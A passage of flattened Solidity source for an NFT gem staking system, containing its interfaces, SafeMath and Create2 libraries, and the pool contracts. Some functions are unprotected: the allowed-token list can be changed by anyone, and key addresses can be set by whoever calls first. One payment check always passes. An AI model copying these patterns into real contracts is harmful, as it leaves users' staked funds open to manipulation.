amount) external; function transferToken( address token, address recipient, uint256 amount ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INFTGemGovernor { event GovernanceTokenIssued(address indexed receiver, uint256 amount); event FeeUpdated(address indexed proposal, address indexed token, uint256 newFee); event AllowList(address indexed proposal, address indexed token, bool isBanned); event ProjectFunded(address indexed proposal, address indexed receiver, uint256 received); event StakingPoolCreated( address indexed proposal, address indexed pool, string symbol, string name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffStep, uint256 maxClaims, address alllowedToken ); function initialize( address _multitoken, address _factory, address _feeTracker, address _proposalFactory, address _swapHelper ) external; function createProposalVoteTokens(uint256 proposalHash) external; function destroyProposalVoteTokens(uint256 proposalHash) external; function executeProposal(address propAddress) external; function issueInitialGovernanceTokens(address receiver) external returns (uint256); function maybeIssueGovernanceToken(address receiver) external returns (uint256); function issueFuelToken(address receiver, uint256 amount) external returns (uint256); function createPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createSystemPool( string memory symbol, string memory name, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxClaims, address allowedToken ) external returns (address); function createNewPoolProposal( address, string memory, string memory, string memory, uint256, uint256, uint256, uint256, uint256, address ) external returns (address); function createChangeFeeProposal( address, string memory, address, address, uint256 ) external returns (address); function createFundProjectProposal( address, string memory, address, string memory, uint256 ) external returns (address); function createUpdateAllowlistProposal( address, string memory, address, address, bool ) external returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INFTGemMultiToken { // called by controller to mint a claim or a gem function mint( address account, uint256 tokenHash, uint256 amount ) external; // called by controller to burn a claim function burn( address account, uint256 tokenHash, uint256 amount ) external; function allHeldTokens(address holder, uint256 _idx) external view returns (uint256); function allHeldTokensLength(address holder) external view returns (uint256); function allTokenHolders(uint256 _token, uint256 _idx) external view returns (address); function allTokenHoldersLength(uint256 _token) external view returns (uint256); function totalBalances(uint256 _id) external view returns (uint256); function allProxyRegistries(uint256 _idx) external view returns (address); function allProxyRegistriesLength() external view returns (uint256); function addProxyRegistry(address registry) external; function removeProxyRegistryAt(uint256 index) external; function getRegistryManager() external view returns (address); function setRegistryManager(address newManager) external; function lock(uint256 token, uint256 timeframe) external; function unlockTime(address account, uint256 token) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface for a Bitgem staking pool */ interface INFTGemPool { /** * @dev Event generated when an NFT claim is created using ETH */ event NFTGemClaimCreated(address account, address pool, uint256 claimHash, uint256 length, uint256 quantity, uint256 amountPaid); /** * @dev Event generated when an NFT claim is created using ERC20 tokens */ event NFTGemERC20ClaimCreated( address account, address pool, uint256 claimHash, uint256 length, address token, uint256 quantity, uint256 conversionRate ); /** * @dev Event generated when an NFT claim is redeemed */ event NFTGemClaimRedeemed( address account, address pool, uint256 claimHash, uint256 amountPaid, uint256 feeAssessed ); /** * @dev Event generated when an NFT claim is redeemed */ event NFTGemERC20ClaimRedeemed( address account, address pool, uint256 claimHash, address token, uint256 ethPrice, uint256 tokenAmount, uint256 feeAssessed ); /** * @dev Event generated when a gem is created */ event NFTGemCreated(address account, address pool, uint256 claimHash, uint256 gemHash, uint256 quantity); function setMultiToken(address token) external; function setGovernor(address addr) external; function setFeeTracker(address addr) external; function setSwapHelper(address addr) external; function mintGenesisGems(address creator, address funder) external; function createClaim(uint256 timeframe) external payable; function createClaims(uint256 timeframe, uint256 count) external payable; function createERC20Claim(address erc20token, uint256 tokenAmount) external; function createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) external; function collectClaim(uint256 claimHash) external; function initialize( string memory, string memory, uint256, uint256, uint256, uint256, uint256, address ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface INFTGemPoolData { // pool is inited with these parameters. Once inited, all // but ethPrice are immutable. ethPrice only increases. ONLY UP function symbol() external view returns (string memory); function name() external view returns (string memory); function ethPrice() external view returns (uint256); function minTime() external view returns (uint256); function maxTime() external view returns (uint256); function difficultyStep() external view returns (uint256); function maxClaims() external view returns (uint256); // these describe the pools created contents over time. This is where // you query to get information about a token that a pool created function claimedCount() external view returns (uint256); function claimAmount(uint256 claimId) external view returns (uint256); function claimQuantity(uint256 claimId) external view returns (uint256); function mintedCount() external view returns (uint256); function totalStakedEth() external view returns (uint256); function tokenId(uint256 tokenHash) external view returns (uint256); function tokenType(uint256 tokenHash) external view returns (uint8); function allTokenHashesLength() external view returns (uint256); function allTokenHashes(uint256 ndx) external view returns (uint256); function nextClaimHash() external view returns (uint256); function nextGemHash() external view returns (uint256); function nextGemId() external view returns (uint256); function nextClaimId() external view returns (uint256); function claimUnlockTime(uint256 claimId) external view returns (uint256); function claimTokenAmount(uint256 claimId) external view returns (uint256); function stakedToken(uint256 claimId) external view returns (address); function allowedTokensLength() external view returns (uint256); function allowedTokens(uint256 idx) external view returns (address); function isTokenAllowed(address token) external view returns (bool); function addAllowedToken(address token) external; function removeAllowedToken(address token) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface for a Bitgem staking pool */ interface INFTGemPoolFactory { /** * @dev emitted when a new gem pool has been added to the system */ event NFTGemPoolCreated( string gemSymbol, string gemName, uint256 ethPrice, uint256 mintTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ); function getNFTGemPool(uint256 _symbolHash) external view returns (address); function allNFTGemPools(uint256 idx) external view returns (address); function allNFTGemPoolsLength() external view returns (uint256); function createNFTGemPool( string memory gemSymbol, string memory gemName, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ) external returns (address payable); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface ISwapQueryHelper { function coinQuote(address token, uint256 tokenAmount) external view returns ( uint256, uint256, uint256 ); function factory() external pure returns (address); function COIN() external pure returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function hasPool(address token) external view returns (bool); function getReserves( address pair ) external view returns (uint256, uint256); function pairFor( address tokenA, address tokenB ) external pure returns (address); function getPathForCoinToToken(address token) external pure returns (address[] memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /** * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer. * `CREATE2` can be used to compute in advance the address where a smart * contract will be deployed, which allows for interesting new mechanisms known * as 'counterfactual interactions'. * * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more * information. */ library Create2 { /** * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. * - the factory must have a balance of at least `amount`. * - if `amount` is non-zero, `bytecode` must have a `payable` constructor. */ function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) { address addr; require(address(this).balance >= amount, "Create2: insufficient balance"); require(bytecode.length != 0, "Create2: bytecode length is zero"); // solhint-disable-next-line no-inline-assembly assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); return addr; } /** * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /** * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) { bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash) ); return address(uint160(uint256(_data))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../utils/Initializable.sol"; import "../interfaces/INFTGemMultiToken.sol"; import "../interfaces/INFTGemFeeManager.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC1155.sol"; import "../interfaces/INFTGemPool.sol"; import "../interfaces/INFTGemGovernor.sol"; import "../interfaces/ISwapQueryHelper.sol"; import "../libs/SafeMath.sol"; import "./NFTGemPoolData.sol"; contract NFTGemPool is Initializable, NFTGemPoolData, INFTGemPool { using SafeMath for uint256; // governor and multitoken target address private _multitoken; address private _governor; address private _feeTracker; address private _swapHelper; /** * @dev initializer called when contract is deployed */ function initialize ( string memory __symbol, string memory __name, uint256 __ethPrice, uint256 __minTime, uint256 __maxTime, uint256 __diffstep, uint256 __maxClaims, address __allowedToken ) external override initializer { _symbol = __symbol; _name = __name; _ethPrice = __ethPrice; _minTime = __minTime; _maxTime = __maxTime; _diffstep = __diffstep; _maxClaims = __maxClaims; if(__allowedToken != address(0)) { _allowedTokens.push(__allowedToken); _isAllowedMap[__allowedToken] = true; } } /** * @dev set the governor. pool uses the governor to issue gov token issuance requests */ function setGovernor(address addr) external override { require(_governor == address(0), "IMMUTABLE"); _governor = addr; } /** * @dev set the governor. pool uses the governor to issue gov token issuance requests */ function setFeeTracker(address addr) external override { require(_feeTracker == address(0), "IMMUTABLE"); _feeTracker = addr; } /** * @dev set the multitoken that this pool will mint new tokens on. Must be a controller of the multitoken */ function setMultiToken(address token) external override { require(_multitoken == address(0), "IMMUTABLE"); _multitoken = token; } /** * @dev set the multitoken that this pool will mint new tokens on. Must be a controller of the multitoken */ function setSwapHelper(address helper) external override { require(_swapHelper == address(0), "IMMUTABLE"); _swapHelper = helper; } /** * @dev mint the genesis gems earned by the pools creator and funder */ function mintGenesisGems(address creator, address funder) external override { require(_multitoken != address(0), "NO_MULTITOKEN"); require(creator != address(0) && funder != address(0), "ZERO_DESTINATION"); require(_nextGemId == 0, "ALREADY_MINTED"); uint256 gemHash = _nextGemHash(); INFTGemMultiToken(_multitoken).mint(creator, gemHash, 1); _addToken(gemHash, 2); gemHash = _nextGemHash(); INFTGemMultiToken(_multitoken).mint(creator, gemHash, 1); _addToken(gemHash, 2); } /** * @dev the external version of the above */ function createClaim(uint256 timeframe) external payable override { _createClaim(timeframe); } /** * @dev the external version of the above */ function createClaims(uint256 timeframe, uint256 count) external payable override { _createClaims(timeframe, count); } /** * @dev create a claim using a erc20 token */ function createERC20Claim(address erc20token, uint256 tokenAmount) external override { _createERC20Claim(erc20token, tokenAmount); } /** * @dev create a claim using a erc20 token */ function createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) external override { _createERC20Claims(erc20token, tokenAmount, count); } /** * @dev default receive. tries to issue a claim given the received ETH or */ receive() external payable { uint256 incomingEth = msg.value; // compute the mimimum cost of a claim and revert if not enough sent uint256 minClaimCost = _ethPrice.div(_maxTime).mul(_minTime); require(incomingEth >= minClaimCost, "INSUFFICIENT_ETH"); // compute the minimum actual claim time uint256 actualClaimTime = _minTime; // refund ETH above max claim cost if (incomingEth <= _ethPrice) { actualClaimTime = _ethPrice.div(incomingEth).mul(_minTime); } // create the claim using minimum possible claim time _createClaim(actualClaimTime); } /** * @dev attempt to create a claim using the given timeframe */ function _createClaim(uint256 timeframe) internal { // minimum timeframe require(timeframe >= _minTime, "TIMEFRAME_TOO_SHORT"); // maximum timeframe require((_maxTime != 0 && timeframe <= _maxTime) || _maxTime == 0, "TIMEFRAME_TOO_LONG"); // cost given this timeframe uint256 cost = _ethPrice.mul(_minTime).div(timeframe); require(msg.value > cost, "INSUFFICIENT_ETH"); // get the nest claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(timeframe); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = cost; claimQuant[claimHash] = 1; // increase the staked eth balance _totalStakedEth = _totalStakedEth.add(cost); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, cost); emit NFTGemClaimCreated(msg.sender, address(this), claimHash, timeframe, 1, cost); if (msg.value > cost) { (bool success, ) = payable(msg.sender).call{value: msg.value.sub(cost)}(""); require(success, "REFUND_FAILED"); } } /** * @dev attempt to create a claim using the given timeframe */ function _createClaims(uint256 timeframe, uint256 count) internal { // minimum timeframe require(timeframe >= _minTime, "TIMEFRAME_TOO_SHORT"); // no ETH require(msg.value != 0, "ZERO_BALANCE"); // zero qty require(count != 0, "ZERO_QUANTITY"); // maximum timeframe require((_maxTime != 0 && timeframe <= _maxTime) || _maxTime == 0, "TIMEFRAME_TOO_LONG"); uint256 adjustedBalance = msg.value.div(count); // cost given this timeframe uint256 cost = _ethPrice.mul(_minTime).div(timeframe); require(adjustedBalance >= cost, "INSUFFICIENT_ETH"); // get the nest claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(timeframe); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = cost.mul(count); claimQuant[claimHash] = count; // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, cost); emit NFTGemClaimCreated(msg.sender, address(this), claimHash, timeframe, count, cost); // increase the staked eth balance _totalStakedEth = _totalStakedEth.add(cost.mul(count)); if (msg.value > cost.mul(count)) { (bool success, ) = payable(msg.sender).call{value: msg.value.sub(cost.mul(count))}(""); require(success, "REFUND_FAILED"); } } /** * @dev crate a gem claim using an erc20 token. this token must be tradeable in Uniswap or this call will fail */ function _createERC20Claim(address erc20token, uint256 tokenAmount) internal { // must be a valid address require(erc20token != address(0), "INVALID_ERC20_TOKEN"); // token is allowed require((_allowedTokens.length > 0 && _isAllowedMap[erc20token]) || _allowedTokens.length == 0, "TOKEN_DISALLOWED"); // Uniswap pool must exist require(ISwapQueryHelper(_swapHelper).hasPool(erc20token) == true, "NO_UNISWAP_POOL"); // must have an amount specified require(tokenAmount >= 0, "NO_PAYMENT_INCLUDED"); // get a quote in ETH for the given token. (uint256 ethereum, uint256 tokenReserve, uint256 ethReserve) = ISwapQueryHelper(_swapHelper).coinQuote(erc20token, tokenAmount); // get the min liquidity from fee tracker uint256 liquidity = INFTGemFeeManager(_feeTracker).liquidity(erc20token); // make sure the convertible amount is has reserves > 100x the token require(ethReserve >= ethereum.mul(liquidity), "INSUFFICIENT_ETH_LIQUIDITY"); // make sure the convertible amount is has reserves > 100x the token require(tokenReserve >= tokenAmount.mul(liquidity), "INSUFFICIENT_TOKEN_LIQUIDITY"); // make sure the convertible amount is less than max price require(ethereum <= _ethPrice, "OVERPAYMENT"); // calculate the maturity time given the converted eth uint256 maturityTime = _ethPrice.mul(_minTime).div(ethereum); // make sure the convertible amount is less than max price require(maturityTime >= _minTime, "INSUFFICIENT_TIME"); // get the next claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // transfer the caller's ERC20 tokens into the pool IERC20(erc20token).transferFrom(msg.sender, address(this), tokenAmount); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(maturityTime); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = ethereum; claimLockToken[claimHash] = erc20token; claimTokenAmountPaid[claimHash] = tokenAmount; claimQuant[claimHash] = 1; _totalStakedEth = _totalStakedEth.add(ethereum); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, ethereum); // emit a message indicating that an erc20 claim has been created emit NFTGemERC20ClaimCreated(msg.sender, address(this), claimHash, maturityTime, erc20token, 1, ethereum); } /** * @dev crate multiple gem claim using an erc20 token. this token must be tradeable in Uniswap or this call will fail */ function _createERC20Claims(address erc20token, uint256 tokenAmount, uint256 count) internal { // must be a valid address require(erc20token != address(0), "INVALID_ERC20_TOKEN"); // token is allowed require((_allowedTokens.length > 0 && _isAllowedMap[erc20token]) || _allowedTokens.length == 0, "TOKEN_DISALLOWED"); // zero qty require(count != 0, "ZERO_QUANTITY"); // Uniswap pool must exist require(ISwapQueryHelper(_swapHelper).hasPool(erc20token) == true, "NO_UNISWAP_POOL"); // must have an amount specified require(tokenAmount >= 0, "NO_PAYMENT_INCLUDED"); // get a quote in ETH for the given token. (uint256 ethereum, uint256 tokenReserve, uint256 ethReserve) = ISwapQueryHelper(_swapHelper).coinQuote( erc20token, tokenAmount.div(count) ); // make sure the convertible amount is has reserves > 100x the token require(ethReserve >= ethereum.mul(100).mul(count), "INSUFFICIENT_ETH_LIQUIDITY"); // make sure the convertible amount is has reserves > 100x the token require(tokenReserve >= tokenAmount.mul(100).mul(count), "INSUFFICIENT_TOKEN_LIQUIDITY"); // make sure the convertible amount is less than max price require(ethereum <= _ethPrice, "OVERPAYMENT"); // calculate the maturity time given the converted eth uint256 maturityTime = _ethPrice.mul(_minTime).div(ethereum); // make sure the convertible amount is less than max price require(maturityTime >= _minTime, "INSUFFICIENT_TIME"); // get the next claim hash, revert if no more claims uint256 claimHash = _nextClaimHash(); require(claimHash != 0, "NO_MORE_CLAIMABLE"); // mint the new claim to the caller's address INFTGemMultiToken(_multitoken).mint(msg.sender, claimHash, 1); _addToken(claimHash, 1); // record the claim unlock time and cost paid for this claim uint256 _claimUnlockTime = block.timestamp.add(maturityTime); claimLockTimestamps[claimHash] = _claimUnlockTime; claimAmountPaid[claimHash] = ethereum; claimLockToken[claimHash] = erc20token; claimTokenAmountPaid[claimHash] = tokenAmount; claimQuant[claimHash] = count; // increase staked eth amount _totalStakedEth = _totalStakedEth.add(ethereum); // maybe mint a governance token for the claimant INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, ethereum); // emit a message indicating that an erc20 claim has been created emit NFTGemERC20ClaimCreated(msg.sender, address(this), claimHash, maturityTime, erc20token, count, ethereum); // transfer the caller's ERC20 tokens into the pool IERC20(erc20token).transferFrom(msg.sender, address(this), tokenAmount); } /** * @dev collect an open claim (take custody of the funds the claim is redeeemable for and maybe a gem too) */ function collectClaim(uint256 claimHash) external override { // validation checks - disallow if not owner (holds coin with claimHash) // or if the unlockTime amd unlockPaid data is in an invalid state require(IERC1155(_multitoken).balanceOf(msg.sender, claimHash) == 1, "NOT_CLAIM_OWNER"); uint256 unlockTime = claimLockTimestamps[claimHash]; uint256 unlockPaid = claimAmountPaid[claimHash]; require(unlockTime != 0 && unlockPaid > 0, "INVALID_CLAIM"); // grab the erc20 token info if there is any address tokenUsed = claimLockToken[claimHash]; uint256 unlockTokenPaid = claimTokenAmountPaid[claimHash]; // check the maturity of the claim - only issue gem if mature bool isMature = unlockTime < block.timestamp; // burn claim and transfer money back to user INFTGemMultiToken(_multitoken).burn(msg.sender, claimHash, 1); // if they used erc20 tokens stake their claim, return their tokens if (tokenUsed != address(0)) { // calculate fee portion using fee tracker uint256 feePortion = 0; if (isMature == true) { uint256 poolDiv = INFTGemFeeManager(_feeTracker).feeDivisor(address(this)); uint256 divisor = INFTGemFeeManager(_feeTracker).feeDivisor(tokenUsed); uint256 feeNum = poolDiv != divisor ? divisor : poolDiv; feePortion = unlockTokenPaid.div(feeNum); } // assess a fee for minting the NFT. Fee is collectec in fee tracker IERC20(tokenUsed).transferFrom(address(this), _feeTracker, feePortion); // send the principal minus fees to the caller IERC20(tokenUsed).transferFrom(address(this), msg.sender, unlockTokenPaid.sub(feePortion)); // emit an event that the claim was redeemed for ERC20 emit NFTGemERC20ClaimRedeemed( msg.sender, address(this), claimHash, tokenUsed, unlockPaid, unlockTokenPaid, feePortion ); } else { // calculate fee portion using fee tracker uint256 feePortion = 0; if (isMature == true) { uint256 divisor = INFTGemFeeManager(_feeTracker).feeDivisor(address(0)); feePortion = unlockPaid.div(divisor); } // transfer the ETH fee to fee tracker payable(_feeTracker).transfer(feePortion); // transfer the ETH back to user payable(msg.sender).transfer(unlockPaid.sub(feePortion)); // emit an event that the claim was redeemed for ETH emit NFTGemClaimRedeemed(msg.sender, address(this), claimHash, unlockPaid, feePortion); } // deduct the total staked ETH balance of the pool _totalStakedEth = _totalStakedEth.sub(unlockPaid); // if all this is happening before the unlocktime then we exit // without minting a gem because the user is withdrawing early if (!isMature) { return; } // get the next gem hash, increase the staking sifficulty // for the pool, and mint a gem token back to account uint256 nextHash = this.nextGemHash(); // mint the gem INFTGemMultiToken(_multitoken).mint(msg.sender, nextHash, claimQuant[claimHash]); _addToken(nextHash, 2); // maybe mint a governance token INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, unlockPaid); // emit an event about a gem getting created emit NFTGemCreated(msg.sender, address(this), claimHash, nextHash, claimQuant[claimHash]); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../libs/SafeMath.sol"; import "../utils/Initializable.sol"; import "../interfaces/INFTGemPoolData.sol"; contract NFTGemPoolData is INFTGemPoolData, Initializable { using SafeMath for uint256; // it all starts with a symbol and a nams string internal _symbol; string internal _name; // magic economy numbers uint256 internal _ethPrice; uint256 internal _minTime; uint256 internal _maxTime; uint256 internal _diffstep; uint256 internal _maxClaims; mapping(uint256 => uint8) internal _tokenTypes; mapping(uint256 => uint256) internal _tokenIds; uint256[] internal _tokenHashes; // next ids of things uint256 internal _nextGemId; uint256 internal _nextClaimId; uint256 internal _totalStakedEth; // records claim timestamp / ETH value / ERC token and amount sent mapping(uint256 => uint256) internal claimLockTimestamps; mapping(uint256 => address) internal claimLockToken; mapping(uint256 => uint256) internal claimAmountPaid; mapping(uint256 => uint256) internal claimQuant; mapping(uint256 => uint256) internal claimTokenAmountPaid; address[] internal _allowedTokens; mapping(address => bool) internal _isAllowedMap; constructor() {} /** * @dev The symbol for this pool / NFT */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev The name for this pool / NFT */ function name() external view override returns (string memory) { return _name; } /** * @dev The ether price for this pool / NFT */ function ethPrice() external view override returns (uint256) { return _ethPrice; } /** * @dev min time to stake in this pool to earn an NFT */ function minTime() external view override returns (uint256) { return _minTime; } /** * @dev max time to stake in this pool to earn an NFT */ function maxTime() external view override returns (uint256) { return _maxTime; } /** * @dev difficulty step increase for this pool. */ function difficultyStep() external view override returns (uint256) { return _diffstep; } /** * @dev max claims that can be made on this NFT */ function maxClaims() external view override returns (uint256) { return _maxClaims; } /** * @dev number of claims made thus far */ function claimedCount() external view override returns (uint256) { return _nextClaimId; } /** * @dev the number of gems minted in this */ function mintedCount() external view override returns (uint256) { return _nextGemId; } /** * @dev the number of gems minted in this */ function totalStakedEth() external view override returns (uint256) { return _totalStakedEth; } /** * @dev get token type of hash - 1 is for claim, 2 is for gem */ function tokenType(uint256 tokenHash) external view override returns (uint8) { return _tokenTypes[tokenHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function tokenId(uint256 tokenHash) external view override returns (uint256) { return _tokenIds[tokenHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function allTokenHashesLength() external view override returns (uint256) { return _tokenHashes.length; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function allTokenHashes(uint256 ndx) external view override returns (uint256) { return _tokenHashes[ndx]; } /** * @dev the external version of the above */ function nextClaimHash() external view override returns (uint256) { return _nextClaimHash(); } /** * @dev the external version of the above */ function nextGemHash() external view override returns (uint256) { return _nextGemHash(); } /** * @dev the external version of the above */ function nextClaimId() external view override returns (uint256) { return _nextClaimId; } /** * @dev the external version of the above */ function nextGemId() external view override returns (uint256) { return _nextGemId; } /** * @dev the external version of the above */ function allowedTokensLength() external view override returns (uint256) { return _allowedTokens.length; } /** * @dev the external version of the above */ function allowedTokens(uint256 idx) external view override returns (address) { return _allowedTokens[idx]; } /** * @dev the external version of the above */ function isTokenAllowed(address token) external view override returns (bool) { return _isAllowedMap[token]; } /** * @dev the external version of the above */ function addAllowedToken(address token) external override { if(!_isAllowedMap[token]) { _allowedTokens.push(token); _isAllowedMap[token] = true; } } /** * @dev the external version of the above */ function removeAllowedToken(address token) external override { if(_isAllowedMap[token]) { for(uint256 i = 0; i < _allowedTokens.length; i++) { if(_allowedTokens[i] == token) { _allowedTokens[i] = _allowedTokens[_allowedTokens.length - 1]; delete 